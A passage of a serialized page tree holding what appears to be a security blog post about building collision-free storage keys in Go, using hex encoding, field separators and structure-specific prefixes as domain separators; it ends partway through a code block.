AddressMap",{"type":25,"tag":216,"props":90194,"children":90195},{"style":6947},[90196],{"type":31,"value":89083},{"type":25,"tag":216,"props":90198,"children":90199},{"class":6916,"line":7607},[90200,90204,90208,90212,90216,90220,90224,90228,90232,90236,90240,90245,90249],{"type":25,"tag":216,"props":90201,"children":90202},{"style":6930},[90203],{"type":31,"value":89091},{"type":25,"tag":216,"props":90205,"children":90206},{"style":6958},[90207],{"type":31,"value":7695},{"type":25,"tag":216,"props":90209,"children":90210},{"style":7369},[90211],{"type":31,"value":89100},{"type":25,"tag":216,"props":90213,"children":90214},{"style":6958},[90215],{"type":31,"value":19362},{"type":25,"tag":216,"props":90217,"children":90218},{"style":6930},[90219],{"type":31,"value":71065},{"type":25,"tag":216,"props":90221,"children":90222},{"style":6958},[90223],{"type":31,"value":7695},{"type":25,"tag":216,"props":90225,"children":90226},{"style":7369},[90227],{"type":31,"value":89117},{"type":25,"tag":216,"props":90229,"children":90230},{"style":6958},[90231],{"type":31,"value":19362},{"type":25,"tag":216,"props":90233,"children":90234},{"style":6930},[90235],{"type":31,"value":71065},{"type":25,"tag":216,"props":90237,"children":90238},{"style":6958},[90239],{"type":31,"value":7695},{"type":25,"tag":216,"props":90241,"children":90242},{"style":7369},[90243],{"type":31,"value":90244},"AddressName",{"type":25,"tag":216,"props":90246,"children":90247},{"style":6958},[90248],{"type":31,"value":19362},{"type":25,"tag":216,"props":90250,"children":90251},{"style":7369},[90252],{"type":31,"value":90253},"Address\n",{"type":25,"tag":38,"props":90255,"children":90256},{},[90257],{"type":31,"value":90258},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":25,"tag":206,"props":90260,"children":90262},{"code":90261,"language":80130,"meta":7,"className":80131,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[90263],{"type":25,"tag":82,"props":90264,"children":90265},{"__ignoreMap":7},[90266,90277,90292,90299,90306,90313,90329,90344,90371,90394,90413,90429,90465,90472,90507,90514,90534,90549,90584,90591,90626,90633,90661,90673,90685,90697,90709,90720,90732,90739,90746,90753,90760,90776,90791,90815,90838,90857,90872,90907,90914,90949,90956,90976,90991,91026,91033,91069,91076,91103,91114,91125,91136,91147,91158,91170,91177],{"type":25,"tag":216,"props":90267,"children":90268},{"class":6916,"line":6917},[90269,90273],{"type":25,"tag":216,"props":90270,"children":90271},{"style":6930},[90272],{"type":31,"value":13605},{"type":25,"tag":216,"props":90274,"children":90275},{"style":6958},[90276],{"type":31,"value":82532},{"type":25,"tag":216,"props":90278,"children":90279},{"class":6916,"line":6763},[90280,90284,90288],{"type":25,"tag":216,"props":90281,"children":90282},{"style":6941},[90283],{"type":31,"value":89296},{"type":25,"tag":216,"props":90285,"children":90286},{"style":6947},[90287],{"type":31,"value":6950},{"type":25,"tag":216,"props":90289,"children":90290},{"style":8199},[90291],{"type":31,"value":89305},{"type":25,"tag":216,"props":90293,"children":90294},{"class":6916,"line":6772},[90295],{"type":25,"tag":216,"props":90296,"children":90297},{"style":6958},[90298],{"type":31,"value":7101},{"type":25,"tag":216,"props":90300,"children":90301},{"class":6916,"line":6999},[90302],{"type":25,"tag":216,"props":90303,"children":90304},{"emptyLinePlaceholder":16},[90305],{"type":31,"value":7636},{"type":25,"tag":216,"props":90307,"children":90308},{"class":6916,"line":7104},[90309],{"type":25,"tag":216,"props":90310,"children":90311},{"emptyLinePlaceholder":16},[90312],{"type":31,"value":7636},{"type":25,"tag":216,"props":90314,"children":90315},{"class":6916,"line":7210},[90316,90320,90325],{"type":25,"tag":216,"props":90317,"children":90318},{"style":6930},[90319],{"type":31,"value":80266},{"type":25,"tag":216,"props":90321,"children":90322},{"style":7041},[90323],{"type":31,"value":90324}," PositionMapKey",{"type":25,"tag":216,"props":90326,"children":90327},{"style":6958},[90328],{"type":31,"value":7414},{"type":25,"tag":216,"props":90330,"children":90331},{"class":6916,"line":7238},[90332,90336,90340],{"type":25,"tag":216,"props":90333,"children":90334},{"style":6941},[90335],{"type":31,"value":89212},{"type":25,"tag":216,"props":90337,"children":90338},{"style":7369},[90339],{"type":31,"value":80387},{"type":25,"tag":216,"props":90341,"children":90342},{"style":6958},[90343],{"type":31,"value":7459},{"type":25,"tag":216,"props":90345,"children":90346},{"class":6916,"line":7251},[90347,90351,90355,90359,90363,90367],{"type":25,"tag":216,"props":90348,"children":90349},{"style":6941},[90350],{"type":31,"value":89224},{"type":25,"tag":216,"props":90352,"children":90353},{"style":6958},[90354],{"type":31,"value":7020},{"type":25,"tag":216,"props":90356,"children":90357},{"style":6941},[90358],{"type":31,"value":89705},{"type":25,"tag":216,"props":90360,"children":90361},{"style":6958},[90362],{"type":31,"value":80193},{"type":25,"tag":216,"props":90364,"children":90365},{"style":7369},[90366],{"type":31,"value":88730},{"type":25,"tag":216,"props":90368,"children":90369},{"style":6958},[90370],{"type":31,"value":7459},{"type":25,"tag":216,"props":90372,"children":90373},{"class":6916,"line":7269},[90374,90378,90382,90386,90390],{"type":25,"tag":216,"props":90375,"children":90376},{"style":6958},[90377],{"type":31,"value":80348},{"type":25,"tag":216,"props":90379,"children":90380},{"style":6941},[90381],{"type":31,"value":76120},{"type":25,"tag":216,"props":90383,"children":90384},{"style":6958},[90385],{"type":31,"value":80193},{"type":25,"tag":216,"props":90387,"children":90388},{"style":7369},[90389],{"type":31,"value":88730},{"type":25,"tag":216,"props":90391,"children":90392},{"style":6958},[90393],{"type":31,"value":18755},{"type":25,"tag":216,"props":90395,"children":90396},{"class":6916,"line":7290},[90397,90401,90405,90409],{"type":25,"tag":216,"props":90398,"children":90399},{"style":6941},[90400],{"type":31,"value":89826},{"type":25,"tag":216,"props":90402,"children":90403},{"style":6947},[90404],{"type":31,"value":80382},{"type":25,"tag":216,"props":90406,"children":90407},{"style":7041},[90408],{"type":31,"value":89529},{"type":25,"tag":216,"props":90410,"children":90411},{"style":6958},[90412],{"type":31,"value":7414},{"type":25,"tag":216,"props":90414,"children":90415},{"class":6916,"line":7299},[90416,90421,90425],{"type":25,"tag":216,"props":90417,"children":90418},{"style":6958},[90419],{"type":31,"value":90420},"        []",{"type":25,"tag":216,"props":90422,"children":90423},{"style":7369},[90424],{"type":31,"value":88730},{"type":25,"tag":216,"props":90426,"children":90427},{"style":6958},[90428],{"type":31,"value":7459},{"type":25,"tag":216,"props":90430,"children":90431},{"class":6916,"line":7551},[90432,90437,90441,90445,90449,90453,90457,90461],{"type":25,"tag":216,"props":90433,"children":90434},{"style":6941},[90435],{"type":31,"value":90436},"        hex",{"type":25,"tag":216,"props":90438,"children":90439},{"style":6958},[90440],{"type":31,"value":179},{"type":25,"tag":216,"props":90442,"children":90443},{"style":7041},[90444],{"type":31,"value":89566},{"type":25,"tag":216,"props":90446,"children":90447},{"style":6958},[90448],{"type":31,"value":1844},{"type":25,"tag":216,"props":90450,"children":90451},{"style":7041},[90452],{"type":31,"value":13088},{"type":25,"tag":216,"props":90454,"children":90455},{"style":6958},[90456],{"type":31,"value":1844},{"type":25,"tag":216,"props":90458,"children":90459},{"style":6941},[90460],{"type":31,"value":89436},{"type":25,"tag":216,"props":90462,"children":90463},{"style":6958},[90464],{"type":31,"value":89587},{"type":25,"tag":216,"props":90466,"children":90467},{"class":6916,"line":7568},[90468],{"type":25,"tag":216,"props":90469,"children":90470},{"style":6958},[90471],{"type":31,"value":27870},{"type":25,"tag":216,"props":90473,"children":90474},{"class":6916,"line":7585},[90475,90479,90483,90487,90491,90495,90499,90503],{"type":25,"tag":216,"props":90476,"children":90477},{"style":6941},[90478],{"type":31,"value":89557},{"type":25,"tag":216,"props":90480,"children":90481},{"style":6958},[90482],{"type":31,"value":179},{"type":25,"tag":216,"props":90484,"children":90485},{"style":7041},[90486],{"type":31,"value":89611},{"type":25,"tag":216,"props":90488,"children":90489},{"style":6958},[90490],{"type":31,"value":1844},{"type":25,"tag":216,"props":90492,"children":90493},{"style":6941},[90494],{"type":31,"value":89520},{"type":25,"tag":216,"props":90496,"children":90497},{"style":6958},[90498],{"type":31,"value":7020},{"type":25,"tag":216,"props":90500,"children":90501},{"style":6941},[90502],{"type":31,"value":89436},{"type":25,"tag":216,"props":90504,"children":90505},{"style":6958},[90506],{"type":31,"value":7101},{"type":25,"tag":216,"props":90508,"children":90509},{"class":6916,"line":7598},[90510],{"type":25,"tag":216,"props":90511,"children":90512},{"emptyLinePlaceholder":16},[90513],{"type":31,"value":7636},{"type":25,"tag":216,"props":90515,"children":90516},{"class":6916,"line":7607},[90517,90522,90526,90530],{"type":25,"tag":216,"props":90518,"children":90519},{"style":6941},[90520],{"type":31,"value":90521},"    positionNameEncoded",{"type":25,"tag":216,"props":90523,"children":90524},{"style":6947},[90525],{"type":31,"value":80382},{"type":25,"tag":216,"props":90527,"children":90528},{"style":7041},[90529],{"type":31,"value":89529},{"type":25,"tag":216,"props":90531,"children":90532},{"style":6958},[90533],{"type":31,"value":7414},{"type":25,"tag":216,"props":90535,"children":90536},{"class":6916,"line":7630},[90537,90541,90545],{"type":25,"tag":216,"props":90538,"children":90539},{"style":6958},[90540],{"type":31,"value":90420},{"type":25,"tag":216,"props":90542,"children":90543},{"style":7369},[90544],{"type":31,"value":88730},{"type":25,"tag":216,"props":90546,"children":90547},{"style":6958},[90548],{"type":31,"value":7459},{"type":25,"tag":216,"props":90550,"children":90551},{"class":6916,"line":7639},[90552,90556,90560,90564,90568,90572,90576,90580],{"type":25,"tag":216,"props":90553,"children":90554},{"style":6941},[90555],{"type":31,"value":90436},{"type":25,"tag":216,"props":90557,"children":90558},{"style":6958},[90559],{"type":31,"value":179},{"type":25,"tag":216,"props":90561,"children":90562},{"style":7041},[90563],{"type":31,"value":89566},{"type":25,"tag":216,"props":90565,"children":90566},{"style":6958},[90567],{"type":31,"value":1844},{"type":25,"tag":216,"props":90569,"children":90570},{"style":7041},[90571],{"type":31,"value":13088},{"type":25,"tag":216,"props":90573,"children":90574},{"style":6958},[90575],{"type":31,"value":1844},{"type":25,"tag":216,"props":90577,"children":90578},{"style":6941},[90579],{"type":31,"value":89705},{"type":25,"tag":216,"props":90581,"children":90582},{"style":6958},[90583],{"type":31,"value":89587},{"type":25,"tag":216,"props":90585,"children":90586},{"class":6916,"line":7648},[90587],{"type":25,"tag":216,"props":90588,"children":90589},{"style":6958},[90590],{"type":31,"value":27870},{"type":25,"tag":216,"props":90592,"children":90593},{"class":6916,"line":7716},[90594,90598,90602,90606,90610,90614,90618,90622],{"type":25,"tag":216,"props":90595,"children":90596},{"style":6941},[90597],{"type":31,"value":89557},{"type":25,"tag":216,"props":90599,"children":90600},{"style":6958},[90601],{"type":31,"value":179},{"type":25,"tag":216,"props":90603,"children":90604},{"style":7041},[90605],{"type":31,"value":89611},{"type":25,"tag":216,"props":90607,"children":90608},{"style":6958},[90609],{"type":31,"value":1844},{"type":25,"tag":216,"props":90611,"children":90612},{"style":6941},[90613],{"type":31,"value":89646},{"type":25,"tag":216,"props":90615,"children":90616},{"style":6958},[90617],{"type":31,"value":7020},{"type":25,"tag":216,"props":90619,"children":90620},{"style":6941},[90621],{"type":31,"value":89705},{"type":25,"tag":216,"props":90623,"children":90624},{"style":6958},[90625],{"type":31,"value":7101},{"type":25,"tag":216,"props":90627,"children":90628},{"class":6916,"line":7724},[90629],{"type":25,"tag":216,"props":90630,"children":90631},{"emptyLinePlaceholder":16},[90632],{"type":31,"value":7636},{"type":25,"tag":216,"props":90634,"children":90635},{"class":6916,"line":7754},[90636,90641,90645,90649,90653,90657],{"type":25,"tag":216,"props":90637,"children":90638},{"style":6941},[90639],{"type":31,"value":90640},"    key",{"type":25,"tag":216,"props":90642,"children":90643},{"style":6947},[90644],{"type":31,"value":80382},{"type":25,"tag":216,"props":90646,"children":90647},{"style":6941},[90648],{"type":31,"value":86200},{"type":25,"tag":216,"props":90650,"children":90651},{"style":6958},[90652],{"type":31,"value":179},{"type":25,"tag":216,"props":90654,"children":90655},{"style":7041},[90656],{"type":31,"value":89188},{"type":25,"tag":216,"props":90658,"children":90659},{"style":6958},[90660],{"type":31,"value":7414},{"type":25,"tag":216,"props":90662,"children":90663},{"class":6916,"line":7762},[90664,90669],{"type":25,"tag":216,"props":90665,"children":90666},{"style":8199},[90667],{"type":31,"value":90668},"        \"%d%s%s%s%s\"",{"type":25,"tag":216,"props":90670,"children":90671},{"style":6958},[90672],{"type":31,"value":7459},{"type":25,"tag":216,"props":90674,"children":90675},{"class":6916,"line":7794},[90676,90681],{"type":25,"tag":216,"props":90677,"children":90678},{"style":6941},[90679],{"type":31,"value":90680},"        vaultId",{"type":25,"tag":216,"props":90682,"children":90683},{"style":6958},[90684],{"type":31,"value":7459},{"type":25,"tag":216,"props":90686,"children":90687},{"class":6916,"line":7802},[90688,90693],{"type":25,"tag":216,"props":90689,"children":90690},{"style":6941},[90691],{"type":31,"value":90692},"        Seperator",{"type":25,"tag":216,"props":90694,"children":90695},{"style":6958},[90696],{"type":31,"value":7459},{"type":25,"tag":216,"props":90698,"children":90699},{"class":6916,"line":7862},[90700,90705],{"type":25,"tag":216,"props":90701,"children":90702},{"style":6941},[90703],{"type":31,"value":90704},"        usernameEncoded",{"type":25,"tag":216,"props":90706,"children":90707},{"style":6958},[90708],{"type":31,"value":7459},{"type":25,"tag":216,"props":90710,"children":90711},{"class":6916,"line":12995},[90712,90716],{"type":25,"tag":216,"props":90713,"children":90714},{"style":6941},[90715],{"type":31,"value":90692},{"type":25,"tag":216,"props":90717,"children":90718},{"style":6958},[90719],{"type":31,"value":7459},{"type":25,"tag":216,"props":90721,"children":90722},{"class":6916,"line":13013},[90723,90728],{"type":25,"tag":216,"props":90724,"children":90725},{"style":6941},[90726],{"type":31,"value":90727},"        positionNameEncoded",{"type":25,"tag":216,"props":90729,"children":90730},{"style":6958},[90731],{"type":31,"value":7459},{"type":25,"tag":216,"props":90733,"children":90734},{"class":6916,"line":13058},[90735],{"type":25,"tag":216,"props":90736,"children":90737},{"style":6958},[90738],{"type":31,"value":27870},{"type":25,"tag":216,"props":90740,"children":90741},{"class":6916,"line":13164},[90742],{"type":25,"tag":216,"props":90743,"children":90744},{"style":6958},[90745],{"type":31,"value":7868},{"type":25,"tag":216,"props":90747,"children":90748},{"class":6916,"line":27449},[90749],{"type":25,"tag":216,"props":90750,"children":90751},{"emptyLinePlaceholder":16},[90752],{"type":31,"value":7636},{"type":25,"tag":216,"props":90754,"children":90755},{"class":6916,"line":27484},[90756],{"type":25,"tag":216,"props":90757,"children":90758},{"emptyLinePlaceholder":16},[90759],{"type":31,"value":7636},{"type":25,"tag":216,"props":90761,"children":90762},{"class":6916,"line":27492},[90763,90767,90772],{"type":25,"tag":216,"props":90764,"children":90765},{"style":6930},[90766],{"type":31,"value":80266},{"type":25,"tag":216,"props":90768,"children":90769},{"style":7041},[90770],{"type":31,"value":90771}," AddressMapKey",{"type":25,"tag":216,"props":90773,"children":90774},{"style":6958},[90775],{"type":31,"value":7414},{"type":25,"tag":216,"props":90777,"children":90778},{"class":6916,"line":27500},[90779,90783,90787],{"type":25,"tag":216,"props":90780,"children":90781},{"style":6941},[90782],{"type":31,"value":89212},{"type":25,"tag":216,"props":90784,"children":90785},{"style":7369},[90786],{"type":31,"value":80387},{"type":25,"tag":216,"props":90788,"children":90789},{"style":6958},[90790],{"type":31,"value":7459},{"type":25,"tag":216,"props":90792,"children":90793},{"class":6916,"line":27509},[90794,90798,90802,90807,90811],{"type":25,"tag":216,"props":90795,"children":90796},{"style":6941},[90797],{"type":31,"value":89224},{"type":25,"tag":216,"props":90799,"children":90800},{"style":6958},[90801],{"type":31,"value":7020},{"type":25,"tag":216,"props":90803,"children":90804},{"style":6941},[90805],{"type":31,"value":90806},"addressName",{"type":25,"tag":216,"props":90808,"children":90809},{"style":6958},[90810],{"type":31,"value":80193},{"type":25,"tag":216,"props":90812,"children":90813},{"style":7369},[90814],{"type":31,"value":88194},{"type":25,"tag":216,"props":90816,"children":90817},{"class":6916,"line":27551},[90818,90822,90826,90830,90834],{"type":25,"tag":216,"props":90819,"children":90820},{"style":6958},[90821],{"type":31,"value":80348},{"type":25,"tag":216,"props":90823,"children":90824},{"style":6941},[90825],{"type":31,"value":76120},{"type":25,"tag":216,"props":90827,"children":90828},{"style":6958},[90829],{"type":31,"value":80193},{"type":25,"tag":216,"props":90831,"children":90832},{"style":7369},[90833],{"type":31,"value":88730},{"type":25,"tag":216,"props":90835,"children":90836},{"style":6958},[90837],{"type":31,"value":18755},{"type":25,"tag":216,"props":90839,"children":90840},{"class":6916,"line":27584},[90841,90845,90849,90853],{"type":25,"tag":216,"props":90842,"children":90843},{"style":6941},[90844],{"type":31,"value":89826},{"type":25,"tag":216,"props":90846,"children":90847},{"style":6947},[90848],{"type":31,"value":80382},{"type":25,"tag":216,"props":90850,"children":90851},{"style":7041},[90852],{"type":31,"value":89529},{"type":25,"tag":216,"props":90854,"children":90855},{"style":6958},[90856],{"type":31,"value":7414},{"type":25,"tag":216,"props":90858,"children":90859},{"class":6916,"line":27592},[90860,90864,90868],{"type":25,"tag":216,"props":90861,"children":90862},{"style":6958},[90863],{"type":31,"value":90420},{"type":25,"tag":216,"props":90865,"children":90866},{"style":7369},[90867],{"type":31,"value":88730},{"type":25,"tag":216,"props":90869,"children":90870},{"style":6958},[90871],{"type":31,"value":7459},{"type":25,"tag":216,"props":90873,"children":90874},{"class":6916,"line":27600},[90875,90879,90883,90887,90891,90895,90899,90903],{"type":25,"tag":216,"props":90876,"children":90877},{"style":6941},[90878],{"type":31,"value":90436},{"type":25,"tag":216,"props":90880,"children":90881},{"style":6958},[90882],{"type":31,"value":179},{"type":25,"tag":216,"props":90884,"children":90885},{"style":7041},[90886],{"type":31,"value":89566},{"type":25,"tag":216,"props":90888,"children":90889},{"style":6958},[90890],{"type":31,"value":1844},{"type":25,"tag":216,"props":90892,"children":90893},{"style":7041},[90894],{"type":31,"value":13088},{"type":25,"tag":216,"props":90896,"children":90897},{"style":6958},[90898],{"type":31,"value":1844},{"type":25,"tag":216,"props":90900,"children":90901},{"style":6941},[90902],{"type":31,"value":89436},{"type":25,"tag":216,"props":90904,"children":90905},{"style":6958},[90906],{"type":31,"value":89587},{"type":25,"tag":216,"props":90908,"children":90909},{"class":6916,"line":27609},[90910],{"type":25,"tag":216,"props":90911,"children":90912},{"style":6958},[90913],{"type":31,"value":27870},{"type":25,"tag":216,"props":90915,"children":90916},{"class":6916,"line":27685},[90917,90921,90925,90929,90933,90937,90941,90945],{"type":25,"tag":216,"props":90918,"children":90919},{"style":6941},[90920],{"type":31,"value":89557},{"type":25,"tag":216,"props":90922,"children":90923},{"style":6958},[90924],{"type":31,"value":179},{"type":25,"tag":216,"props":90926,"children":90927},{"style":7041},[90928],{"type":31,"value":89611},{"type":25,"tag":216,"props":90930,"children":90931},{"style":6958},[90932],{"type":31,"value":1844},{"type":25,"tag":216,"props":90934,"children":90935},{"style":6941},[90936],{"type":31,"value":89520},{"type":25,"tag":216,"props":90938,"children":90939},{"style":6958},[90940],{"type":31,"value":7020},{"type":25,"tag":216,"props":90942,"children":90943},{"style":6941},[90944],{"type":31,"value":89436},{"type":25,"tag":216,"props":90946,"children":90947},{"style":6958},[90948],{"type":31,"value":7101},{"type":25,"tag":216,"props":90950,"children":90951},{"class":6916,"line":27718},[90952],{"type":25,"tag":216,"props":90953,"children":90954},{"emptyLinePlaceholder":16},[90955],{"type":31,"value":7636},{"type":25,"tag":216,"props":90957,"children":90958},{"class":6916,"line":27726},[90959,90964,90968,90972],{"type":25,"tag":216,"props":90960,"children":90961},{"style":6941},[90962],{"type":31,"value":90963},"    addressNameEncoded",{"type":25,"tag":216,"props":90965,"children":90966},{"style":6947},[90967],{"type":31,"value":80382},{"type":25,"tag":216,"props":90969,"children":90970},{"style":7041},[90971],{"type":31,"value":89529},{"type":25,"tag":216,"props":90973,"children":90974},{"style":6958},[90975],{"type":31,"value":7414},{"type":25,"tag":216,"props":90977,"children":90978},{"class":6916,"line":27734},[90979,90983,90987],{"type":25,"tag":216,"props":90980,"children":90981},{"style":6958},[90982],{"type":31,"value":90420},{"type":25,"tag":216,"props":90984,"children":90985},{"style":7369},[90986],{"type":31,"value":88730},{"type":25,"tag":216,"props":90988,"children":90989},{"style":6958},[90990],{"type":31,"value":7459},{"type":25,"tag":216,"props":90992,"children":90993},{"class":6916,"line":27771},[90994,90998,91002,91006,91010,91014,91018,91022],{"type":25,"tag":216,"props":90995,"children":90996},{"style":6941},[90997],{"type":31,"value":90436},{"type":25,"tag":216,"props":90999,"children":91000},{"style":6958},[91001],{"type":31,"value":179},{"type":25,"tag":216,"props":91003,"children":91004},{"style":7041},[91005],{"type":31,"value":89566},{"type":25,"tag":216,"props":91007,"children":91008},{"style":6958},[91009],{"type":31,"value":1844},{"type":25,"tag":216,"props":91011,"children":91012},{"style":7041},[91013],{"type":31,"value":13088},{"type":25,"tag":216,"props":91015,"children":91016},{"style":6958},[91017],{"type":31,"value":1844},{"type":25,"tag":216,"props":91019,"children":91020},{"style":6941},[91021],{"type":31,"value":90806},{"type":25,"tag":216,"props":91023,"children":91024},{"style":6958},[91025],{"type":31,"value":89587},{"type":25,"tag":216,"props":91027,"children":91028},{"class":6916,"line":27784},[91029],{"type":25,"tag":216,"props":91030,"children":91031},{"style":6958},[91032],{"type":31,"value":27870},{"type":25,"tag":216,"props":91034,"children":91035},{"class":6916,"line":27797},[91036,91040,91044,91048,91052,91057,91061,91065],{"type":25,"tag":216,"props":91037,"children":91038},{"style":6941},[91039],{"type":31,"value":89557},{"type":25,"tag":216,"props":91041,"children":91042},{"style":6958},[91043],{"type":31,"value":179},{"type":25,"tag":216,"props":91045,"children":91046},{"style":7041},[91047],{"type":31,"value":89611},{"type":25,"tag":216,"props":91049,"children":91050},{"style":6958},[91051],{"type":31,"value":1844},{"type":25,"tag":216,"props":91053,"children":91054},{"style":6941},[91055],{"type":31,"value":91056},"addressNameEncoded",{"type":25,"tag":216,"props":91058,"children":91059},{"style":6958},[91060],{"type":31,"value":7020},{"type":25,"tag":216,"props":91062,"children":91063},{"style":6941},[91064],{"type":31,"value":90806},{"type":25,"tag":216,"props":91066,"children":91067},{"style":6958},[91068],{"type":31,"value":7101},{"type":25,"tag":216,"props":91070,"children":91071},{"class":6916,"line":27810},[91072],{"type":25,"tag":216,"props":91073,"children":91074},{"emptyLinePlaceholder":16},[91075],{"type":31,"value":7636},{"type":25,"tag":216,"props":91077,"children":91078},{"class":6916,"line":27864},[91079,91083,91087,91091,91095,91099],{"type":25,"tag":216,"props":91080,"children":91081},{"style":6941},[91082],{"type":31,"value":90640},{"type":25,"tag":216,"props":91084,"children":91085},{"style":6947},[91086],{"type":31,"value":80382},{"type":25,"tag":216,"props":91088,"children":91089},{"style":6941},[91090],{"type":31,"value":86200},{"type":25,"tag":216,"props":91092,"children":91093},{"style":6958},[91094],{"type":31,"value":179},{"type":25,"tag":216,"props":91096,"children":91097},{"style":7041},[91098],{"type":31,"value":89188},{"type":25,"tag":216,"props":91100,"children":91101},{"style":6958},[91102],{"type":31,"value":7414},{"type":25,"tag":216,"props":91104,"children":91105},{"class":6916,"line":27873},[91106,91110],{"type":25,"tag":216,"props":91107,"children":91108},{"style":8199},[91109],{"type":31,"value":90668},{"type":25,"tag":216,"props":91111,"children":91112},{"style":6958},[91113],{"type":31,"value":7459},{"type":25,"tag":216,"props":91115,"children":91116},{"class":6916,"line":36237},[91117,91121],{"type":25,"tag":216,"props":91118,"children":91119},{"style":6941},[91120],{"type":31,"value":90680},{"type":25,"tag":216,"props":91122,"children":91123},{"style":6958},[91124],{"type":31,"value":7459},{"type":25,"tag":216,"props":91126,"children":91127},{"class":6916,"line":36258},[91128,91132],{"type":25,"tag":216,"props":91129,"children":91130},{"style":6941},[91131],{"type":31,"value":90692},{"type":25,"tag":216,"props":91133,"children":91134},{"style":6958},[91135],{"type":31,"value":7459},{"type":25,"tag":216,"props":91137,"children":91138},{"class":6916,"line":84917},[91139,91143],{"type":25,"tag":216,"props":91140,"children":91141},{"style":6941},[91142],{"type":31,"value":90704},{"type":25,"tag":216,"props":91144,"children":91145},{"style":6958},[91146],{"type":31,"value":7459},{"type":25,"tag":216,"props":91148,"children":91149},{"class":6916,"line":84930},[91150,91154],{"type":25,"tag":216,"props":91151,"children":91152},{"style":6941},[91153],{"type":31,"value":90692},{"type":25,"tag":216,"props":91155,"children":91156},{"style":6958},[91157],{"type":31,"value":7459},{"type":25,"tag":216,"props":91159,"children":91160},{"class":6916,"line":84938},[91161,91166],{"type":25,"tag":216,"props":91162,"children":91163},{"style":6941},[91164],{"type":31,"value":91165},"        addressNameEncoded",{"type":25,"tag":216,"props":91167,"children":91168},{"style":6958},[91169],{"type":31,"value":7459},{"type":25,"tag":216,"props":91171,"children":91172},{"class":6916,"line":84946},[91173],{"type":25,"tag":216,"props":91174,"children":91175},{"style":6958},[91176],{"type":31,"value":27870},{"type":25,"tag":216,"props":91178,"children":91179},{"class":6916,"line":84954},[91180],{"type":25,"tag":216,"props":91181,"children":91182},{"style":6958},[91183],{"type":31,"value":7868},{"type":25,"tag":38,"props":91185,"children":91186},{},[91187,91189,91194],{"type":31,"value":91188},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":25,"tag":82,"props":91190,"children":91192},{"className":91191},[],[91193],{"type":31,"value":88942},{"type":31,"value":91195},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":25,"tag":206,"props":91197,"children":91199},{"code":91198},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[91200],{"type":25,"tag":82,"props":91201,"children":91202},{"__ignoreMap":7},[91203],{"type":31,"value":91198},{"type":25,"tag":38,"props":91205,"children":91206},{},[91207],{"type":31,"value":91208},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":25,"tag":206,"props":91210,"children":91212},{"code":91211,"language":80130,"meta":7,"className":80131,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[91213],{"type":25,"tag":82,"props":91214,"children":91215},{"__ignoreMap":7},[91216,91227,91242,91269,91294,91301,91308,91315,91330,91345,91372,91395,91414,91429,91464,91471,91506,91513,91532,91547,91582,91589,91624,91631,91658,91670,91682,91693,91704,91715,91726,91737,91744,91751,91758,91765,91780,91795,91822,91845,91864,91879,91914,91921,91956,91963,91982,91997,92032,92039,92074,92081,92108,92119,92131,92142,92153,92164,92175,92186,92194],{"type":25,"tag":216,"props":91217,"children":91218},{"class":6916,"line":6917},[91219,91223],{"type":25,"tag":216,"props":91220,"children":91221},{"style":6930},[91222],{"type":31,"value":13605},{"type":25,"tag":216,"props":91224,"children":91225},{"style":6958},[91226],{"type":31,"value":82532},{"type":25,"tag":216,"props":91228,"children":91229},{"class":6916,"line":6763},[91230,91234,91238],{"type":25,"tag":216,"props":91231,"children":91232},{"style":6941},[91233],{"type":31,"value":89296},{"type":25,"tag":216,"props":91235,"children":91236},{"style":6947},[91237],{"type":31,"value":6950},{"type":25,"tag":216,"props":91239,"children":91240},{"style":8199},[91241],{"type":31,"value":89305},{"type":25,"tag":216,"props":91243,"children":91244},{"class":6916,"line":6772},[91245,91250,91254,91259,91264],{"type":25,"tag":216,"props":91246,"children":91247},{"style":6941},[91248],{"type":31,"value":91249},"    